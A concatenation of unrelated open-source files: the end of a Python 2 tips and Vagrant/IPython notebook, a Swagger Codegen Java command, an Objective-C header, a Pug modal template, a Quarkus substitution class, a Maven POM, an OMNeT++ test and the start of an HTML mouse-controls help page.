"# How to do it with a list comprehension\n",
"\n",
"print [ i for i in range(10) ]\n",
"\n",
"\n",
"# But what about a nested loop like this one, which\n",
"# even contains a conditional expression in it:\n",
"\n",
"a_list = []\n",
"for i in range(10):\n",
" for j in range(10, 20):\n",
" if i % 2 == 0:\n",
" a_list.append(i)\n",
"\n",
"print a_list\n",
"\n",
"# You can achieve a nested list comprehension to \n",
"# achieve the very same result. When written with readable\n",
"# indention like below, note the striking similarity to\n",
"# the equivalent code as presented above.\n",
"\n",
"print [ i\n",
" for i in range(10)\n",
" for j in range(10, 20)\n",
" if i % 2 == 0\n",
" ]"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Dictionary Comprehensions\n",
"\n",
"In the same way that you can concisely construct lists with list comprehensions, you can concisely construct dictionaries with dictionary comprehensions. The underlying concept involved and the syntax is very similar to list comprehensions. The following example illustrates a few different way to create the same dictionary and introduces dictionary construction syntax."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"# Literal syntax\n",
"\n",
"a_dict = { 'a' : 1, 'b' : 2, 'c' : 3 }\n",
"print a_dict\n",
"print\n",
"\n",
"# Using the dict constructor\n",
"\n",
"a_dict = dict([('a', 1), ('b', 2), ('c', 3)])\n",
"print a_dict\n",
"print\n",
"\n",
"# Dictionary comprehension syntax\n",
"\n",
"a_dict = { k : v for (k,v) in [('a', 1), ('b', 2), ('c', 3)] }\n",
"print a_dict\n",
"print\n",
"\n",
"# A more appropriate circumstance to use dictionary comprehension would \n",
"# involve more complex computation\n",
"\n",
"a_dict = { k : k*k for k in xrange(10) } # {0: 0, 1: 1, 2: 4, 3: 9, ..., 9: 81}\n",
"print a_dict"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Enumeration\n",
"\n",
"While iterating over a collection such as a list, it's often handy to know the index for the item that you are looping over in addition to its value. While a reasonable approach is to maintain a looping index, the <code>enumerate</code> function spares you the trouble."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"lst = ['a', 'b', 'c']\n",
"\n",
"# You could opt to maintain a looping index...\n",
"i = 0\n",
"for item in lst:\n",
" print i, item\n",
" i += 1\n",
"\n",
"# ...but the enumerate function spares you the trouble of maintaining a loop index\n",
"for i, item in enumerate(lst):\n",
" print i, item"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### \\*args and \\*\\*kwargs\n",
"\n",
"Conceptually, Python functions accept lists of arguments that can be followed by additional keyword arguments. A common idiom that you'll see when calling functions is to _dereference_ a list or dictionary with the asterisk or double-asterisk, respectively, a special trick for satisfying the function's parameterization."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"def f(a, b, c, d=None, e=None):\n",
" print a, b, c, d, e\n",
"\n",
"f(1, 2, 3) # 1 2 3 None None\n",
"f(1, 3, 3, d=4) # 1 2 3 4 None\n",
"f(1, 2, 3, d=4, e=5) # 1 2 3 4 5\n",
"\n",
"args = [1,2,3]\n",
"kwargs = {'d' : 4, 'e' : 5}\n",
"\n",
"f(*args, **kwargs) # 1 2 3 4 5"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### String Substitutions\n",
"\n",
"It's often clearer in code to use string substitution than to concatenate strings, although both options can get the job done. The string type's built-in format function is also very handy and adds to the readability of code. The following examples illustrate some of the common string substitutions that you'll regularly encounter in the code."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"name1, name2 = \"Bob\", \"Sally\"\n",
"\n",
"print \"Hello, \" + name1 + \". My name is \" + name2\n",
"\n",
"print \"Hello, %s. My name is %s\" % (name1, name2,)\n",
"\n",
"print \"Hello, {0}. My name is {1}\".format(name1, name2)\n",
"print \"Hello, {0}. My name is {1}\".format(*[name1, name2])\n",
"names = [name1, name2]\n",
"print \"Hello, {0}. My name is {1}\".format(*names)\n",
"\n",
"\n",
"print \"Hello, {you}. My name is {me}\".format(you=name1, me=name2)\n",
"print \"Hello, {you}. My name is {me}\".format(**{'you' : name1, 'me' : name2})\n",
"names = {'you' : name1, 'me' : name2}\n",
"print \"Hello, {you}. My name is {me}\".format(**names)"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Unicode in Python 2.x\n",
"\n",
"XXX - to be written."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Login to the Virtual Machine with SSH\n",
"\n",
"Although great care has been taken to try and ensure that you won't have to use a secure shell to login to the virtual machine, there is great value in learning how to use an SSH client to login to a machine and be productive in a terminal session, and there will inevitably be times when you may need to troubleshoot on the virtual machine despite our best efforts. If you are already comfortable using a secure shell, you'll simply type <code>vagrant ssh</code> from the _vagrant_ folder where your _Vagrantfile_ is located, and you'll get automatically logged in if you have an SSH client already installed. \n",
"\n",
"If you are a Mac or Linux user, you will already have an SSH client installed and your remote login should \"just work\", but if you are a Windows user, you will likely not have an SSH client installed unless you're already using a tool like [PuTTY](http://www.putty.org/) or [Git for Windows](http://msysgit.github.io/). In any event, if you've used an SSH client before, you'll have no troubles using <code>vagrant ssh</code> to perform a remote login. If you have not used an SSH client before, you won't necessarily need to learn to use one, but it might be in your overall best interest to learn how to use one at your leisure.\n",
"\n",
"Even without an SSH client, however, there are a couple of creative ways that you can use a Python script and IPython Notebook to give you much of the same functionality that you would achieve by performing a remote login to gain terminal access. The following sections introduce some of the possibilities."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Interact with the Virtual Machine without an SSH Client Using Python\n",
"Although you're probably better off to configure and use an SSH client to login to the virtual machine most of the time, you _could_ even interact with the virtual machine almost as though you are working in a terminal session using IPython Notebook and the [envoy](https://github.com/kennethreitz/envoy) package, which wraps the [subprocess](http://docs.python.org/2/library/subprocess.html) package in a highly convenient way that allows you to run arbitrary commands and see the results. The following script shows how to run a few remote commands on the virtual machine (where this IPython Notebook server would be running if you are using the virtual machine). Even in situations where you are running a Python program locally, this package can be of significant convenience."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"import envoy # pip install envoy\n",
"\n",
"# Run a command just as you would in a terminal on the virtual machine\n",
"r = envoy.run('ps aux | grep ipython') # show processes containing 'ipython'\n",
"\n",
"# Print its standard output\n",
"print r.std_out\n",
"\n",
"# Print its standard error\n",
"print r.std_err\n",
"\n",
"# Print the working directory for the IPython Notebook server\n",
"print envoy.run('pwd').std_out\n",
"\n",
"# Try some commands of your own..."
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Bash Cell Magic\n",
"\n",
"An alternative to using the envoy package to interact with the virtual machine through what is called \"Bash Cell Magic\" in IPython Notebook. The way it works is that if you write <code>%%bash</code> on the first line of a cell, IPython Notebook will automatically take the remainder of the cell and execute it as a [Bash](http://tldp.org/LDP/abs/html/) script on the machine where the server is running. In case you come from a Windows background or are a Mac user who hasn't yet encountered Bash, it's the name of the default shell on most Linux systems, including the virtual machine that runs the IPython Notebook server.\n",
"\n",
"Assuming that you are using the virtual machine, this means that you can essentially write bash scripts in IPython Notebook cells and execute them on the server. The following script demonstrates some of the possibilities, including how to use a command like <code>wget</code> to download a file."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"%%bash\n",
"\n",
"# Print the working directory\n",
"pwd \n",
"\n",
"# Display the date\n",
"date\n",
"\n",
"# View the first 10 lines of a manual page for wget\n",
"man wget | head -10\n",
"\n",
"# Download a webpage to /tmp/index.html\n",
"wget -O /tmp/foo.html http://ipython.org/notebook.html\n",
"\n",
"# Search for 'ipython' in the webpage\n",
"grep ipython /tmp/foo.html"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Using Bash Cell Magic to Update Your Source Code\n",
"\n",
"Since Bash cell magic works just as though you were executing commands in a terminal, you can use it easily manage your source code by executing commands like \"git status\" and \"git pull\""
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"%%bash\n",
"ls ../\n",
"# Displays the status of the local repository\n",
"git status\n",
"\n",
"# Execute \"git pull\" to perform an update"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Serving Static Content\n",
"\n",
"IPython Notebook has some handy features for interacting with the web browser that you should know about. A few of the features that you'll see in the source code are embedding inline frames, and serving static content such as images, text files, JavaScript files, etc. The ability to serve static content is especially handy if you'd like to display an inline visualization for analysis, and you'll see this technique used throughout the notebook.\n",
"\n",
"The following cell illustrates creating and embedding an inline frame and serving the static source file for this notebook, which is serialized as JSON data."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"from IPython.display import IFrame\n",
"from IPython.core.display import display\n",
"\n",
"# IPython Notebook can serve files relative to the location of\n",
"# the working notebook into inline frames. Prepend the path \n",
"# with the 'files' prefix\n",
"\n",
"static_content = 'files/resources/appc-pythontips/hello.txt'\n",
"\n",
"display(IFrame(static_content, '100%', '600px'))"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Shared Folders\n",
"\n",
"The Vagrant virtual machine maps the top level directory of your GitHub checkout (the directory containing _README.md_) on your host machine to its _/vagrant_ folder and automatically synchronizes files between the guest and host environments as an incredible convenience to you. This mapping and synchronization enables IPython Notebooks you are running on the guest machine to access files that you can conveniently manage on your host machine and vice-versa. For example, many of the scripts in IPython Notebooks may write out data files and you can easily access those data files on your host environment (should you desire to do so) without needing to connect into the virtual machine with an SSH session. On the flip side, you can provide data files to IPython Notebook, which is running on the guest machine by copying them anywhere into your top level GitHub checkout. \n",
"\n",
"In effect, the top level directory of your GitHub checkout is automatically synchronized between the guest and host environments so that you have access to everything that is happening and can manage your source code, modified notebooks, and everything else all from your host machine. See _Vagrantfile_ for more details on how synchronized folders can be configured.\n",
"\n",
"The following code snippet illustrates how to access files. Keep in mind that the code that you execute in this cell writes data to the guest (virtual machine) environment, and it's Vagrant that automatically synchronizes it back to your guest environment. It's a subtle but important detail. "
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"import os\n",
"\n",
"# The absolute path to the shared folder on the VM\n",
"shared_folder=\"/vagrant\"\n",
"\n",
"# List the files in the shared folder\n",
"print os.listdir(shared_folder)\n",
"print\n",
"\n",
"# How to read and display a snippet of the share/README.md file...\n",
"README = os.path.join(shared_folder, \"README.md\")\n",
"txt = open(README).read()\n",
"print txt[:200]\n",
"\n",
"# Write out a file to the guest but notice that it is available on the host\n",
"# by checking the contents of your GitHub checkout\n",
"f = open(os.path.join(shared_folder, \"Hello.txt\"), \"w\")\n",
"f.write(\"Hello. This text is written on the guest but synchronized to the host by Vagrant\")\n",
"f.close()"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Monitoring and Debugging Memory Usage with Vagrant and IPython Notebook\n",
"\n",
"IPython Notebook's server kernels are ordinary Python processes that will use as much memory as they need to perform the computation that you give them. Most of the examples in this book do not entail consuming very large amounts of memory (the only notable exception could be Example 7-12 that builds a fairly large in-memory graph), but it's worth noting that most Vagrant boxes, including the default configuration for this book's virtual machine, have fairly low amounts of memory allocated to them by default. \n",
"\n",
"The amount of memory that's available for the \"precise64\" box that's used for these notebooks, for example, ships with a default of 334MB of memory that's allocated to it. Consequently, if any of your IPython Notebooks ever consume close to 334MB of memory, you'll reach the limit that's allocated to the guest virtual machine and the kernel will kill the offending Python process. Unfortunately, IPython Notebook isn't able to provide a clear indication of what's gone wrong in this case, so your only clue as to what may have happened is that you'll no longer see a \"Kernel Busy\" message in the upper-right corner of the screen, and your variables in the notebook become undefined because the IPython Notebook kernel that's servicing the notebook has effectively restarted.\n",
"\n",
"From within IPython Notebook, you can check the kernel log to see if there is any evidence that it killed your process with the following Bash command that displays the last 100 lines _/var/log/kern.log_"
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"%%bash\n",
"\n",
"tail -n 100 /var/log/kern.log"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"You can increase the amount of memory that's available to your Vagrant box (and therefore to IPython Notebook) by including the following code snippet in your _Vagrantfile_ as a provider-specific configuration option that specifies that the box should be allocated 768MB of memory:\n",
"\n",
"<code>\n",
"config.vm.provider :virtualbox do |vb|\n",
" vb.customize [\"modifyvm\", :id, \"--memory\", \"768\"]\n",
"end\n",
"</code>\n",
"\n",
"While a long-running cell is executing, you can also take advantage of IPython Notebook's Bash cell magic to monitor the memory usage of processes by opening up a different notebook and executing the following code in its own cell. In the example below, we are specifying that we'd like to see a list of the top 10 processes and the amount of memory (in KB) that each process is using."
]
},
{
"cell_type": "code",
"collapsed": false,
"input": [
"%%bash\n",
"\n",
"ps -e -orss=,args= | sort -b -k1,1n | pr -TW$COLUMNS | tail -n 10"
],
"language": "python",
"metadata": {},
"outputs": []
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Again, the guidance offered here is fairly advanced advice that you may never need to use, but it the event that you suspect that you have a memory problem with a notebook, it'll be helpful"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Copyright and Licensing\n",
"\n",
"You are free to use or adapt this notebook for any purpose you'd like. However, please respect the following [Simplified BSD License](https://github.com/ptwobrussell/Mining-the-Social-Web-2nd-Edition/blob/master/LICENSE.txt) (also known as \"FreeBSD License\") that governs its use. Basically, you can do whatever you want with the code so long as you retain the copyright notice.\n",
"\n",
"Copyright (c) 2013, Matthew A. Russell\n",
"All rights reserved.\n",
"\n",
"Redistribution and use in source and binary forms, with or without\n",
"modification, are permitted provided that the following conditions are met: \n",
"\n",
"1. Redistributions of source code must retain the above copyright notice, this\n",
" list of conditions and the following disclaimer. \n",
"2. Redistributions in binary form must reproduce the above copyright notice,\n",
" this list of conditions and the following disclaimer in the documentation\n",
" and/or other materials provided with the distribution. \n",
"\n",
"THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n",
"ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n",
"WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n",
"DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\n",
"ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n",
"(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n",
"LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n",
"ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n",
"(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n",
"SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n",
"\n",
"The views and conclusions contained in the software and documentation are those\n",
"of the authors and should not be interpreted as representing official policies, \n",
"either expressed or implied, of the FreeBSD Project."
]
}
],
"metadata": {}
}
]
}
|
{
"pile_set_name": "Github"
}
|
package io.swagger.codegen.cmd;
import ch.lambdaj.function.convert.Converter;
import com.google.common.base.CaseFormat;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.ImmutableMap;
import com.samskivert.mustache.Mustache;
import io.airlift.airline.Command;
import io.airlift.airline.Option;
import io.swagger.codegen.DefaultGenerator;
import io.swagger.codegen.SupportingFile;
import org.apache.commons.io.FileUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.File;
import java.io.IOException;
import java.io.Reader;
import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.Map;
import static ch.lambdaj.collection.LambdaCollections.with;
import static com.google.common.base.Joiner.on;
/**
* User: lanwen Date: 24.03.15 Time: 20:22
*/
@Command(name = "meta", description = "MetaGenerator. Generator for creating a new template set "
+ "and configuration for Codegen. The output will be based on the language you "
+ "specify, and includes default templates to include.")
public class Meta implements Runnable {
private static final Logger LOGGER = LoggerFactory.getLogger(Meta.class);
private static final String TEMPLATE_DIR_CLASSPATH = "codegen";
private static final String MUSTACHE_EXTENSION = ".mustache";
@Option(name = {"-o", "--output"}, title = "output directory",
description = "where to write the generated files (current dir by default)")
private String outputFolder = "";
@Option(name = {"-n", "--name"}, title = "name",
description = "the human-readable name of the generator")
private String name = "default";
@Option(name = {"-p", "--package"}, title = "package",
description = "the package to put the main class into (defaults to io.swagger.codegen)")
private String targetPackage = "io.swagger.codegen";
@Override
public void run() {
final File targetDir = new File(outputFolder);
LOGGER.info("writing to folder [{}]", targetDir.getAbsolutePath());
String mainClass = CaseFormat.LOWER_HYPHEN.to(CaseFormat.UPPER_CAMEL, name) + "Generator";
List<SupportingFile> supportingFiles =
ImmutableList
.of(new SupportingFile("pom.mustache", "", "pom.xml"),
new SupportingFile("generatorClass.mustache", on(File.separator)
.join("src/main/java", asPath(targetPackage)), mainClass
.concat(".java")), new SupportingFile("README.mustache",
"", "README.md"), new SupportingFile("api.template",
"src/main/resources" + File.separator + name,
"api.mustache"), new SupportingFile("model.template",
"src/main/resources" + File.separator + name,
"model.mustache"), new SupportingFile("services.mustache",
"src/main/resources/META-INF/services",
"io.swagger.codegen.CodegenConfig"));
String swaggerVersion = Version.readVersionFromResources();
Map<String, Object> data =
new ImmutableMap.Builder<String, Object>().put("generatorPackage", targetPackage)
.put("generatorClass", mainClass).put("name", name)
.put("fullyQualifiedGeneratorClass", targetPackage + "." + mainClass)
.put("swaggerCodegenVersion", swaggerVersion).build();
with(supportingFiles).convert(processFiles(targetDir, data));
}
/**
* Converter method to process supporting files: execute with mustache, or simply copy to
* destination directory
*
* @param targetDir - destination directory
* @param data - map with additional params needed to process templates
* @return converter object to pass to lambdaj
*/
private static Converter<SupportingFile, File> processFiles(final File targetDir,
final Map<String, Object> data) {
return new Converter<SupportingFile, File>() {
private DefaultGenerator generator = new DefaultGenerator();
@Override
public File convert(SupportingFile support) {
try {
File destinationFolder =
new File(new File(targetDir.getAbsolutePath()), support.folder);
File outputFile = new File(destinationFolder, support.destinationFilename);
String template =
generator.readTemplate(new File(TEMPLATE_DIR_CLASSPATH,
support.templateFile).getPath());
String formatted = template;
if (support.templateFile.endsWith(MUSTACHE_EXTENSION)) {
LOGGER.info("writing file to {}", outputFile.getAbsolutePath());
formatted =
Mustache.compiler().withLoader(loader(generator)).defaultValue("")
.compile(template).execute(data);
} else {
LOGGER.info("copying file to {}", outputFile.getAbsolutePath());
}
FileUtils.writeStringToFile(outputFile, formatted, StandardCharsets.UTF_8);
return outputFile;
} catch (IOException e) {
throw new RuntimeException("Can't generate project", e);
}
}
};
}
/**
* Creates mustache loader for template using classpath loader
*
* @param generator - class with reader getter
* @return loader for template
*/
private static Mustache.TemplateLoader loader(final DefaultGenerator generator) {
return new Mustache.TemplateLoader() {
@Override
public Reader getTemplate(String name) {
return generator.getTemplateReader(TEMPLATE_DIR_CLASSPATH + File.separator
+ name.concat(MUSTACHE_EXTENSION));
}
};
}
/**
* Converts package name to path on file system
*
* @param packageName - package name to convert
* @return relative path
*/
private static String asPath(String packageName) {
return packageName.replace(".", File.separator);
}
}
|
{
"pile_set_name": "Github"
}
|
//
// ArticleModel.h
//
// Copyright (c) 2019 dequanzhu
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
//
@class HotCommentModel;
typedef void (^ArticleModelLoadFinishBlock)(void);
@interface ArticleModel : NSObject
@property (nonatomic, copy, readonly) NSString *articleIdStr;
//template
@property (nonatomic, copy, readonly) NSString *contentTemplateString;
//component
@property (nonatomic, strong, readonly) NSArray<HPKModel *> *webViewComponents;
@property (nonatomic, strong, readwrite) NSArray<HPKModel *> *extensionComponents;
@property (nonatomic, strong, readwrite) HotCommentModel *hotCommentModel;
- (void)loadArticleContentWithFinishBlock:(ArticleModelLoadFinishBlock)finishBlock;
@end
|
{
"pile_set_name": "Github"
}
|
.modal-dialog
.modal-content
form#g-group-edit-form.modal-form(role="form")
.modal-header
button.close(data-dismiss="modal", aria-hidden="true", type="button") ×
h4.modal-title
if (group)
| Edit group
else
| Create group
.modal-body
.g-public-container
.radio
label
input#g-access-private(type="radio", name="privacy",
checked=(publicFlag ? undefined : "checked"))
i.icon-lock
| Private — Only members can see this group
.radio
label
input#g-access-public(type="radio", name="privacy",
checked=(publicFlag ? "checked" : undefined))
i.icon-globe
| Public — Anyone can see this group
.form-group
label.control-label(for="g-name") Name
input#g-name.input-sm.form-control(type="text", placeholder="Enter group name")
.form-group
label.control-label(for="g-description") Description (optional)
textarea#g-description.input-sm.form-control(placeholder="Enter group description")
if groupAddAllowed
.form-group
label.control-label(for="g-add-to-group") Allow members to be directly added to this group
select#g-add-to-group.form-control.input-sm
if addToGroupPolicy === 'yesadmin'
option(value='default', selected=(addAllowed === 'default')) Default - Yes, allow group administrators to add members
else if addToGroupPolicy === 'yesmod'
option(value='default', selected=(addAllowed === 'default')) Default - Yes, allow group administrators and moderators to add members
else
option(value='default', selected=(addAllowed === 'default')) Default - No
option(value='no', selected=(addAllowed === 'no')) No - members must be invited and accept invitations
if groupAddAllowed === 'mod'
option(value='yesmod', selected=(addAllowed === 'yesmod')) Yes - allow group administrators and moderators to directly add members
option(value='yesadmin', selected=(addAllowed === 'yesadmin')) Yes - allow group administrators to directly add members
.g-validation-failed-message
.modal-footer
a.btn.btn-small.btn-default(data-dismiss="modal") Cancel
button.g-save-group.btn.btn-small.btn-primary(type="submit")
if (group)
i.icon-edit
| Save
else
i.icon-plus-squared
| Create
|
{
"pile_set_name": "Github"
}
|
package io.quarkus.hibernate.search.elasticsearch.runtime.graal;
import com.oracle.svm.core.annotate.Substitute;
import com.oracle.svm.core.annotate.TargetClass;
/**
* Force two phase-boot so that bootstrap code can be DCEd.
*/
@TargetClass(className = "org.hibernate.search.mapper.orm.bootstrap.impl.HibernateOrmIntegrationBooterImpl")
final class Substitute_HibernateOrmIntegrationBooterImpl {
@Substitute
private HibernateOrmIntegrationPartialBuildState doBootFirstPhase() {
throw new IllegalStateException("Partial build state should have been generated during the static init phase.");
}
@TargetClass(className = "org.hibernate.search.mapper.orm.bootstrap.impl.HibernateOrmIntegrationBooterImpl", innerClass = "HibernateOrmIntegrationPartialBuildState")
final static class HibernateOrmIntegrationPartialBuildState {
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version='1.0' encoding='UTF-8'?>
<project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion>
<groupId>com.gu</groupId>
<artifactId>management-mongo_2.11</artifactId>
<packaging>jar</packaging>
<description>management-mongo</description>
<version>5.35</version>
<name>management-mongo</name>
<organization>
<name>com.gu</name>
</organization>
<dependencies>
<dependency>
<groupId>org.scala-lang</groupId>
<artifactId>scala-library</artifactId>
<version>2.11.2</version>
</dependency>
<dependency>
<groupId>com.gu</groupId>
<artifactId>management_2.11</artifactId>
<version>5.35</version>
</dependency>
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-classic</artifactId>
<version>0.9.27</version>
</dependency>
<dependency>
<groupId>org.mongodb</groupId>
<artifactId>casbah-core_2.11</artifactId>
<version>2.7.3</version>
</dependency>
</dependencies>
</project>
|
{
"pile_set_name": "Github"
}
|
%description:
Test that gate size assignments in the super type take effect.
%file: test.ned
import testlib.Dump;
module Node
{
gates:
input g[] @loose;
connections allowunconnected:
}
network TestBase
{
parameters:
int p;
submodules:
n: Node {
gates:
g[p];
}
dump: Dump;
}
network Test extends TestBase
{
}
%inifile: test.ini
[General]
network = Test
cmdenv-express-mode = false
cmdenv-event-banners = false
Test.p = 4
%contains: stdout
module Test: Test {
parameters:
@isNetwork
p = 4
submodules:
module Test.n: Node {
gates:
g[0] @loose: not connected
g[1] @loose: not connected
g[2] @loose: not connected
g[3] @loose: not connected
}
}
|
{
"pile_set_name": "Github"
}
|
<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="ProgId" content="Word.Document">
<meta name="Generator" content="Microsoft Word 10">
<meta name="Originator" content="Microsoft Word 10">
<link rel="File-List" href="MVH_Mouse_files/filelist.xml">
<title>Mouse controls</title>
<style>
<!--
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-parent:"";
margin:0cm;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:"Times New Roman";}
p
{mso-margin-top-alt:auto;
margin-right:0cm;
mso-margin-bottom-alt:auto;
margin-left:0cm;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:"Times New Roman";}
span.SpellE
{mso-style-name:"";
mso-spl-e:yes;}
@page Section1
{size:612.0pt 792.0pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;
mso-header-margin:36.0pt;
mso-footer-margin:36.0pt;
mso-paper-source:0;}
div.Section1
{page:Section1;}
--></style>
</head>
<body lang="EN-US" style='tab-interval:36.0pt'>
<div class="Section1">
<p><em><b><span style='font-size:13.5pt'>Mouse controls</span></b></em></p>
<p>All these operations are performed while the mouse cursor is within the bounds
of the viewing window. The controls are based on the Maya scheme of control
with a few additions and changes.</p>
<table class="MsoNormalTable" border="1" cellspacing="0" cellpadding="0" width="100%" style='width:100.0%;border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;mso-border-insideh:.5pt solid windowtext;
mso-border-insidev:.5pt solid windowtext'>
<tr style='mso-yfti-irow:0;height:30.25pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'><b style='mso-bidi-font-weight:normal'>Mouse
button<o:p></o:p></b></p>
</td>
<td width="9%" valign="top" style='width:9.26%;border:solid windowtext 1.0pt;
border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'><b style='mso-bidi-font-weight:normal'>Shift<o:p></o:p></b></p>
</td>
<td width="80%" valign="top" style='width:80.0%;border:solid windowtext 1.0pt;
border-left:none;mso-border-left-alt:solid windowtext .5pt;mso-border-alt:
solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'><b style='mso-bidi-font-weight:normal'>Description<o:p></o:p></b></p>
</td>
</tr>
<tr style='mso-yfti-irow:1;height:30.25pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Left</p>
</td>
<td width="9%" valign="top" style='width:9.26%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>No</p>
</td>
<td width="80%" valign="top" style='width:80.0%;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
mso-border-alt:solid windowtext .5pt;padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p style='margin-left:3.45pt'>Rotates the camera around the object in all three
dimensions.</p>
</td>
</tr>
<tr style='mso-yfti-irow:2;height:30.25pt'>
<td width="10%" valign="top" style='width:10.74%;border:solid windowtext 1.0pt;
border-top:none;mso-border-top-alt:solid windowtext .5pt;mso-border-alt:solid windowtext .5pt;
padding:0cm 5.4pt 0cm 5.4pt;height:30.25pt'>
<p align="center" style='margin-left:3.45pt;text-align:center'>Middle</p>
</td>
